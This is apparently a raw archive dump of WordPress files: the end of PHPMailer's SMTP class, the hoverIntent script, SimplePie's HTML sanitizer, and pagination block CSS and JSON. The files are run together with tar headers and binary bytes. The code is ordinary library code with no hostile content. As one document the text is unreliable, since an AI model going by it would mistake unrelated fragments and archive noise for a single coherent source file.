            if (!isset($str[3]) || $str[3] === ' ' || $str[3] === "\r" || $str[3] === "\n") {
                break;
            }
            //Timed-out? Log and break
            $info = stream_get_meta_data($this->smtp_conn);
            if ($info['timed_out']) {
                $this->edebug(
                    'SMTP -> get_lines(): stream timed-out (' . $this->Timeout . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
            //Now check if reads took too long
            if ($endtime && time() > $endtime) {
                $this->edebug(
                    'SMTP -> get_lines(): timelimit reached (' .
                    $this->Timelimit . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
        }

        return $data;
    }

    /**
     * Enable or disable VERP address generation.
     *
     * @param bool $enabled
     */
    public function setVerp($enabled = false)
    {
        $this->do_verp = $enabled;
    }

    /**
     * Get VERP address generation mode.
     *
     * @return bool
     */
    public function getVerp()
    {
        return $this->do_verp;
    }

    /**
     * Set error messages and codes.
     *
     * @param string $message      The error message
     * @param string $detail       Further detail on the error
     * @param string $smtp_code    An associated SMTP error code
     * @param string $smtp_code_ex Extended SMTP code
     */
    protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
    {
        $this->error = [
            'error' => $message,
            'detail' => $detail,
            'smtp_code' => $smtp_code,
            'smtp_code_ex' => $smtp_code_ex,
        ];
    }

    /**
     * Set debug output method.
     *
     * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it
     */
    public function setDebugOutput($method = 'echo')
    {
        $this->Debugoutput = $method;
    }

    /**
     * Get debug output method.
     *
     * @return string
     */
    public function getDebugOutput()
    {
        return $this->Debugoutput;
    }

    /**
     * Set debug output level.
     *
     * @param int $level
     */
    public function setDebugLevel($level = 0)
    {
        $this->do_debug = $level;
    }

    /**
     * Get debug output level.
     *
     * @return int
     */
    public function getDebugLevel()
    {
        return $this->do_debug;
    }

    /**
     * Set SMTP timeout.
     *
     * @param int $timeout The timeout duration in seconds
     */
    public function setTimeout($timeout = 0)
    {
        $this->Timeout = $timeout;
    }

    /**
     * Get SMTP timeout.
     *
     * @return int
     */
    public function getTimeout()
    {
        return $this->Timeout;
    }

    /**
     * Reports an error number and string.
     *
     * @param int    $errno   The error number returned by PHP
     * @param string $errmsg  The error message returned by PHP
     * @param string $errfile The file the error occurred in
     * @param int    $errline The line number the error occurred on
     */
    protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0)
    {
        $notice = 'Connection failed.';
        $this->setError(
            $notice,
            $errmsg,
            (string) $errno
        );
        $this->edebug(
            "$notice Error #$errno: $errmsg [$errfile line $errline]",
            self::DEBUG_CONNECTION
        );
    }

    /**
     * Extract and return the ID of the last SMTP transaction based on
     * a list of patterns provided in SMTP::$smtp_transaction_id_patterns.
     * Relies on the host providing the ID in response to a DATA command.
     * If no reply has been received yet, it will return null.
     * If no pattern was matched, it will return false.
     *
     * @return bool|string|null
     */
    protected function recordLastTransactionID()
    {
        $reply = $this->getLastReply();

        if (empty($reply)) {
            $this->last_smtp_transaction_id = null;
        } else {
            $this->last_smtp_transaction_id = false;
            foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) {
                $matches = [];
                if (preg_match($smtp_transaction_id_pattern, $reply, $matches)) {
                    $this->last_smtp_transaction_id = trim($matches[1]);
                    break;
                }
            }
        }

        return $this->last_smtp_transaction_id;
    }

    /**
     * Get the queue/transaction ID of the last SMTP transaction
     * If no reply has been received yet, it will return null.
     * If no pattern was matched, it will return false.
     *
     * @return bool|string|null
     *
     * @see recordLastTransactionID()
     */
    public function getLastTransactionID()
    {
        return $this->last_smtp_transaction_id;
    }
}
PKWd[Z�]ս���
PHPMailer.phpnu�[���PKWd[b���
��Exception.phpnu�[���PKWd[�s�����SMTP.phpnu�[���PK�S�14338/hoverIntent.min.js.tar000064400000006000151024420100011421 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/hoverIntent.min.js000064400000002733151024230110025407 0ustar00/*! This file is auto-generated */
!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery"],e):"object"==typeof module&&module.exports?module.exports=e(require("jquery")):jQuery&&!jQuery.fn.hoverIntent&&e(jQuery)}(function(f){"use strict";function u(e){return"function"==typeof e}var i,r,v={interval:100,sensitivity:6,timeout:0},s=0,a=function(e){i=e.pageX,r=e.pageY},p=function(e,t,n,o){if(Math.sqrt((n.pX-i)*(n.pX-i)+(n.pY-r)*(n.pY-r))<o.sensitivity)return t.off(n.event,a),delete n.timeoutId,n.isActive=!0,e.pageX=i,e.pageY=r,delete n.pX,delete n.pY,o.over.apply(t[0],[e]);n.pX=i,n.pY=r,n.timeoutId=setTimeout(function(){p(e,t,n,o)},o.interval)};f.fn.hoverIntent=function(e,t,n){function o(e){var u=f.extend({},e),r=f(this),v=((t=r.data("hoverIntent"))||r.data("hoverIntent",t={}),t[i]),t=(v||(t[i]=v={id:i}),v.timeoutId&&(v.timeoutId=clearTimeout(v.timeoutId)),v.event="mousemove.hoverIntent.hoverIntent"+i);"mouseenter"===e.type?v.isActive||(v.pX=u.pageX,v.pY=u.pageY,r.off(t,a).on(t,a),v.timeoutId=setTimeout(function(){p(u,r,v,d)},d.interval)):v.isActive&&(r.off(t,a),v.timeoutId=setTimeout(function(){var e,t,n,o,i;e=u,t=r,n=v,o=d.out,(i=t.data("hoverIntent"))&&delete i[n.id],o.apply(t[0],[e])},d.timeout))}var i=s++,d=f.extend({},v);f.isPlainObject(e)?(d=f.extend(d,e),u(d.out)||(d.out=d.over)):d=u(t)?f.extend(d,{over:e,out:t,selector:n}):f.extend(d,{over:e,out:e,selector:t});return this.on({"mouseenter.hoverIntent":o,"mouseleave.hoverIntent":o},d.selector)}});14338/Sanitize.php.tar000064400000065000151024420100010300 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php000064400000061065151024330510026333 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use InvalidArgumentException;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;

/**
 * Used for data cleanup and post-processing
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_sanitize_class()}
 *
 * @package SimplePie
 * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
 */
class Sanitize implements RegistryAware
{
    // Private vars
    public $base;

    // Options
    public $remove_div = true;
    public $image_handler = '';
    public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];
    public $encode_instead_of_strip = false;
    public $strip_attributes = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];
    public $rename_attributes = [];
    public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];
    public $strip_comments = false;
    public $output_encoding = 'UTF-8';
    public $enable_cache = true;
    public $cache_location = './cache';
    public $cache_name_function = 'md5';

    /**
     * @var NameFilter
     */
    private $cache_namefilter;
    public $timeout = 10;
    public $useragent = '';
    public $force_fsockopen = false;
    public $replace_url_attributes = null;
    public $registry;

    /**
     * @var DataCache|null
     */
    private $cache = null;

    /**
     * @var int Cache duration (in seconds)
     */
    private $cache_duration = 3600;

    /**
     * List of domains for which to force HTTPS.
     * @see \SimplePie\Sanitize::set_https_domains()
     * Array is a tree split at DNS levels. Example:
     * array('biz' => true, 'com' => array('example' => true), 'net' => array('example' => array('www' => true)))
     */
    public $https_domains = [];

    public function __construct()
    {
        // Set defaults
        $this->set_url_replacements(null);
    }

    public function remove_div($enable = true)
    {
        $this->remove_div = (bool) $enable;
    }

    public function set_image_handler($page = false)
    {
        if ($page) {
            $this->image_handler = (string) $page;
        } else {
            $this->image_handler = false;
        }
    }

    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie\Cache', ?DataCache $cache = null)
    {
        if (isset($enable_cache)) {
            $this->enable_cache = (bool) $enable_cache;
        }

        if ($cache_location) {
            $this->cache_location = (string) $cache_location;
        }

        if (!is_string($cache_name_function) && !is_object($cache_name_function) && !$cache_name_function instanceof NameFilter) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #3 ($cache_name_function) must be of type %s',
                __METHOD__,
                NameFilter::class
            ), 1);
        }

        // BC: $cache_name_function could be a callable as string
        if (is_string($cache_name_function)) {
            // trigger_error(sprintf('Providing $cache_name_function as string in "%s()" is deprecated since SimplePie 1.8.0, provide as "%s" instead.', __METHOD__, NameFilter::class), \E_USER_DEPRECATED);
            $this->cache_name_function = (string) $cache_name_function;

            $cache_name_function = new CallableNameFilter($cache_name_function);
        }

        $this->cache_namefilter = $cache_name_function;

        if ($cache !== null) {
            $this->cache = $cache;
        }
    }

    public function pass_file_data($file_class = 'SimplePie\File', $timeout = 10, $useragent = '', $force_fsockopen = false)
    {
        if ($timeout) {
            $this->timeout = (string) $timeout;
        }

        if ($useragent) {
            $this->useragent = (string) $useragent;
        }

        if ($force_fsockopen) {
            $this->force_fsockopen = (string) $force_fsockopen;
        }
    }

    public function strip_htmltags($tags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'])
    {
        if ($tags) {
            if (is_array($tags)) {
                $this->strip_htmltags = $tags;
            } else {
                $this->strip_htmltags = explode(',', $tags);
            }
        } else {
            $this->strip_htmltags = false;
        }
    }

    public function encode_instead_of_strip($encode = false)
    {
        $this->encode_instead_of_strip = (bool) $encode;
    }

    public function rename_attributes($attribs = [])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->rename_attributes = $attribs;
            } else {
                $this->rename_attributes = explode(',', $attribs);
            }
        } else {
            $this->rename_attributes = false;
        }
    }

    public function strip_attributes($attribs = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->strip_attributes = $attribs;
            } else {
                $this->strip_attributes = explode(',', $attribs);
            }
        } else {
            $this->strip_attributes = false;
        }
    }

    public function add_attributes($attribs = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->add_attributes = $attribs;
            } else {
                $this->add_attributes = explode(',', $attribs);
            }
        } else {
            $this->add_attributes = false;
        }
    }

    public function strip_comments($strip = false)
    {
        $this->strip_comments = (bool) $strip;
    }

    public function set_output_encoding($encoding = 'UTF-8')
    {
        $this->output_encoding = (string) $encoding;
    }

    /**
     * Set element/attribute key/value pairs of HTML attributes
     * containing URLs that need to be resolved relative to the feed
     *
     * Defaults to |a|@href, |area|@href, |audio|@src, |blockquote|@cite,
     * |del|@cite, |form|@action, |img|@longdesc, |img|@src, |input|@src,
     * |ins|@cite, |q|@cite, |source|@src, |video|@src
     *
     * @since 1.0
     * @param array|null $element_attribute Element/attribute key/value pairs, null for default
     */
    public function set_url_replacements($element_attribute = null)
    {
        if ($element_attribute === null) {
            $element_attribute = [
                'a' => 'href',
                'area' => 'href',
                'audio' => 'src',
                'blockquote' => 'cite',
                'del' => 'cite',
                'form' => 'action',
                'img' => [
                    'longdesc',
                    'src'
                ],
                'input' => 'src',
                'ins' => 'cite',
                'q' => 'cite',
                'source' => 'src',
                'video' => [
                    'poster',
                    'src'
                ]
            ];
        }
        $this->replace_url_attributes = (array) $element_attribute;
    }

    /**
     * Set the list of domains for which to force HTTPS.
     * @see \SimplePie\Misc::https_url()
     * Example array('biz', 'example.com', 'example.org', 'www.example.net');
     */
    public function set_https_domains($domains)
    {
        $this->https_domains = [];
        foreach ($domains as $domain) {
            $domain = trim($domain, ". \t\n\r\0\x0B");
            $segments = array_reverse(explode('.', $domain));
            $node = &$this->https_domains;
            foreach ($segments as $segment) {//Build a tree
                if ($node === true) {
                    break;
                }
                if (!isset($node[$segment])) {
                    $node[$segment] = [];
                }
                $node = &$node[$segment];
            }
            $node = true;
        }
    }

    /**
     * Check if the domain is in the list of forced HTTPS.
     */
    protected function is_https_domain($domain)
    {
        $domain = trim($domain, '. ');
        $segments = array_reverse(explode('.', $domain));
        $node = &$this->https_domains;
        foreach ($segments as $segment) {//Explore the tree
            if (isset($node[$segment])) {
                $node = &$node[$segment];
            } else {
                break;
            }
        }
        return $node === true;
    }

    /**
     * Force HTTPS for selected Web sites.
     */
    public function https_url($url)
    {
        return (strtolower(substr($url, 0, 7)) === 'http://') &&
            $this->is_https_domain(parse_url($url, PHP_URL_HOST)) ?
            substr_replace($url, 's', 4, 0) : //Add the 's' to HTTPS
            $url;
    }

    public function sanitize($data, $type, $base = '')
    {
        $data = trim($data);
        if ($data !== '' || $type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
            if ($type & \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML) {
                if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . '>)/', $data)) {
                    $type |= \SimplePie\SimplePie::CONSTRUCT_HTML;
                } else {
                    $type |= \SimplePie\SimplePie::CONSTRUCT_TEXT;
                }
            }

            if ($type & \SimplePie\SimplePie::CONSTRUCT_BASE64) {
                $data = base64_decode($data);
            }

            if ($type & (\SimplePie\SimplePie::CONSTRUCT_HTML | \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
                if (!class_exists('DOMDocument')) {
                    throw new \SimplePie\Exception('DOMDocument not found, unable to use sanitizer');
                }
                $document = new \DOMDocument();
                $document->encoding = 'UTF-8';

                $data = $this->preprocess($data, $type);

                set_error_handler(['SimplePie\Misc', 'silence_errors']);
                $document->loadHTML($data);
                restore_error_handler();

                $xpath = new \DOMXPath($document);

                // Strip comments
                if ($this->strip_comments) {
                    $comments = $xpath->query('//comment()');

                    foreach ($comments as $comment) {
                        $comment->parentNode->removeChild($comment);
                    }
                }

                // Strip out HTML tags and attributes that might cause various security problems.
                // Based on recommendations by Mark Pilgrim at:
                // http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely
                if ($this->strip_htmltags) {
                    foreach ($this->strip_htmltags as $tag) {
                        $this->strip_tag($tag, $document, $xpath, $type);
                    }
                }

                if ($this->rename_attributes) {
                    foreach ($this->rename_attributes as $attrib) {
                        $this->rename_attr($attrib, $xpath);
                    }
                }

                if ($this->strip_attributes) {
                    foreach ($this->strip_attributes as $attrib) {
                        $this->strip_attr($attrib, $xpath);
                    }
                }

                if ($this->add_attributes) {
                    foreach ($this->add_attributes as $tag => $valuePairs) {
                        $this->add_attr($tag, $valuePairs, $document);
                    }
                }

                // Replace relative URLs
                $this->base = $base;
                foreach ($this->replace_url_attributes as $element => $attributes) {
                    $this->replace_urls($document, $element, $attributes);
                }

                // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
                if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache) {
                    $images = $document->getElementsByTagName('img');

                    foreach ($images as $img) {
                        if ($img->hasAttribute('src')) {
                            $image_url = $this->cache_namefilter->filter($img->getAttribute('src'));
                            $cache = $this->get_cache($image_url);

                            if ($cache->get_data($image_url, false)) {
                                $img->setAttribute('src', $this->image_handler . $image_url);
                            } else {
                                $file = $this->registry->create(File::class, [$img->getAttribute('src'), $this->timeout, 5, ['X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']], $this->useragent, $this->force_fsockopen]);
                                $headers = $file->headers;

                                if ($file->success && ($file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) {
                                    if ($cache->set_data($image_url, ['headers' => $file->headers, 'body' => $file->body], $this->cache_duration)) {
                                        $img->setAttribute('src', $this->image_handler . $image_url);
                                    } else {
                                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                                    }
                                }
                            }
                        }
                    }
                }

                // Get content node
                $div = $document->getElementsByTagName('body')->item(0)->firstChild;
                // Finally, convert to a HTML string
                $data = trim($document->saveHTML($div));

                if ($this->remove_div) {
                    $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '', $data);
                    $data = preg_replace('/<\/div>$/', '', $data);
                } else {
                    $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
                }

                $data = str_replace('</source>', '', $data);
            }

            if ($type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
                $absolute = $this->registry->call(Misc::class, 'absolutize_url', [$data, $base]);
                if ($absolute !== false) {
                    $data = $absolute;
                }
            }

            if ($type & (\SimplePie\SimplePie::CONSTRUCT_TEXT | \SimplePie\SimplePie::CONSTRUCT_IRI)) {
                $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
            }

            if ($this->output_encoding !== 'UTF-8') {
                $data = $this->registry->call(Misc::class, 'change_encoding', [$data, 'UTF-8', $this->output_encoding]);
            }
        }
        return $data;
    }

    protected function preprocess($html, $type)
    {
        $ret = '';
        $html = preg_replace('%</?(?:html|body)[^>]*?'.'>%is', '', $html);
        if ($type & ~\SimplePie\SimplePie::CONSTRUCT_XHTML) {
            // Atom XHTML constructs are wrapped with a div by default
            // Note: No protection if $html contains a stray </div>!
            $html = '<div>' . $html . '</div>';
            $ret .= '<!DOCTYPE html>';
            $content_type = 'text/html';
        } else {
            $ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
            $content_type = 'application/xhtml+xml';
        }

        $ret .= '<html><head>';
        $ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />';
        $ret .= '</head><body>' . $html . '</body></html>';
        return $ret;
    }

    public function replace_urls($document, $tag, $attributes)
    {
        if (!is_array($attributes)) {
            $attributes = [$attributes];
        }

        if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) {
            $elements = $document->getElementsByTagName($tag);
            foreach ($elements as $element) {
                foreach ($attributes as $attribute) {
                    if ($element->hasAttribute($attribute)) {
                        $value = $this->registry->call(Misc::class, 'absolutize_url', [$element->getAttribute($attribute), $this->base]);
                        if ($value !== false) {
                            $value = $this->https_url($value);
                            $element->setAttribute($attribute, $value);
                        }
                    }
                }
            }
        }
    }

    public function do_strip_htmltags($match)
    {
        if ($this->encode_instead_of_strip) {
            if (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
                $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
                $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
                return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;";
            } else {
                return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
            }
        } elseif (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
            return $match[4];
        } else {
            return '';
        }
    }

    protected function strip_tag($tag, $document, $xpath, $type)
    {
        $elements = $xpath->query('body//' . $tag);
        if ($this->encode_instead_of_strip) {
            foreach ($elements as $element) {
                $fragment = $document->createDocumentFragment();

                // For elements which aren't script or style, include the tag itself
                if (!in_array($tag, ['script', 'style'])) {
                    $text = '<' . $tag;
                    if ($element->hasAttributes()) {
                        $attrs = [];
                        foreach ($element->attributes as $name => $attr) {
                            $value = $attr->value;

                            // In XHTML, empty values should never exist, so we repeat the value
                            if (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
                                $value = $name;
                            }
                            // For HTML, empty is fine
                            elseif (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_HTML)) {
                                $attrs[] = $name;
                                continue;
                            }

                            // Standard attribute text
                            $attrs[] = $name . '="' . $attr->value . '"';
                        }
                        $text .= ' ' . implode(' ', $attrs);
                    }
                    $text .= '>';
                    $fragment->appendChild(new \DOMText($text));
                }

                $number = $element->childNodes->length;
                for ($i = $number; $i > 0; $i--) {
                    $child = $element->childNodes->item(0);
                    $fragment->appendChild($child);
                }

                if (!in_array($tag, ['script', 'style'])) {
                    $fragment->appendChild(new \DOMText('</' . $tag . '>'));
                }

                $element->parentNode->replaceChild($fragment, $element);
            }

            return;
        } elseif (in_array($tag, ['script', 'style'])) {
            foreach ($elements as $element) {
                $element->parentNode->removeChild($element);
            }

            return;
        } else {
            foreach ($elements as $element) {
                $fragment = $document->createDocumentFragment();
                $number = $element->childNodes->length;
                for ($i = $number; $i > 0; $i--) {
                    $child = $element->childNodes->item(0);
                    $fragment->appendChild($child);
                }

                $element->parentNode->replaceChild($fragment, $element);
            }
        }
    }

    protected function strip_attr($attrib, $xpath)
    {
        $elements = $xpath->query('//*[@' . $attrib . ']');

        foreach ($elements as $element) {
            $element->removeAttribute($attrib);
        }
    }

    protected function rename_attr($attrib, $xpath)
    {
        $elements = $xpath->query('//*[@' . $attrib . ']');

        foreach ($elements as $element) {
            $element->setAttribute('data-sanitized-' . $attrib, $element->getAttribute($attrib));
            $element->removeAttribute($attrib);
        }
    }

    protected function add_attr($tag, $valuePairs, $document)
    {
        $elements = $document->getElementsByTagName($tag);
        foreach ($elements as $element) {
            foreach ($valuePairs as $attrib => $value) {
                $element->setAttribute($attrib, $value);
            }
        }
    }

    /**
     * Get a DataCache
     *
     * @param string $image_url Only needed for BC, can be removed in SimplePie 2.0.0
     *
     * @return DataCache
     */
    private function get_cache($image_url = '')
    {
        if ($this->cache === null) {
            // @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
            $cache = $this->registry->call(Cache::class, 'get_handler', [
                $this->cache_location,
                $image_url,
                Base::TYPE_IMAGE
            ]);

            return new BaseDataCache($cache);
        }

        return $this->cache;
    }
}

class_alias('SimplePie\Sanitize', 'SimplePie_Sanitize');
14338/query-pagination.tar000064400000033000151024420100011213 0ustar00editor-rtl.min.css000064400000000373151024245370010133 0ustar00.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-query-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{margin:0}style-rtl.min.css000064400000001376151024245370010011 0ustar00.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination.aligncenter{justify-content:center}editor-rtl.css000064400000000415151024245370007346 0ustar00.wp-block[data-align=center]>.wp-block-query-pagination{
  justify-content:center;
}

:where(.editor-styles-wrapper) .wp-block-query-pagination{
  max-width:100%;
}
:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{
  margin:0;
}style.min.css000064400000001374151024245370007210 0ustar00.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination.aligncenter{justify-content:center}editor.css000064400000000415151024245370006547 0ustar00.wp-block[data-align=center]>.wp-block-query-pagination{
  justify-content:center;
}

:where(.editor-styles-wrapper) .wp-block-query-pagination{
  max-width:100%;
}
:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{
  margin:0;
}block.json000064400000003053151024245370006535 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-pagination",
	"title": "Pagination",
	"category": "theme",
	"ancestor": [ "core/query" ],
	"allowedBlocks": [
		"core/query-pagination-previous",
		"core/query-pagination-numbers",
		"core/query-pagination-next"
	],
	"description": "Displays a paginated navigation to next/previous set of posts, when applicable.",
	"textdomain": "default",
	"attributes": {
		"paginationArrow": {
			"type": "string",
			"default": "none"
		},
		"showLabel": {
			"type": "boolean",
			"default": true
		}
	},
	"usesContext": [ "queryId", "query" ],
	"providesContext": {
		"paginationArrow": "paginationArrow",
		"showLabel": "showLabel"
	},
	"supports": {
		"align": true,
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"default": {
				"type": "flex"
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-query-pagination-editor",
	"style": "wp-block-query-pagination"
}
style-rtl.css000064400000001457151024245370007227 0ustar00.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{
  margin-inline-start:auto;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{
  margin-inline-end:auto;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-query-pagination.aligncenter{
  justify-content:center;
}style.css000064400000001453151024245370006424 0ustar00.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{
  margin-inline-start:auto;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{
  margin-inline-end:auto;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
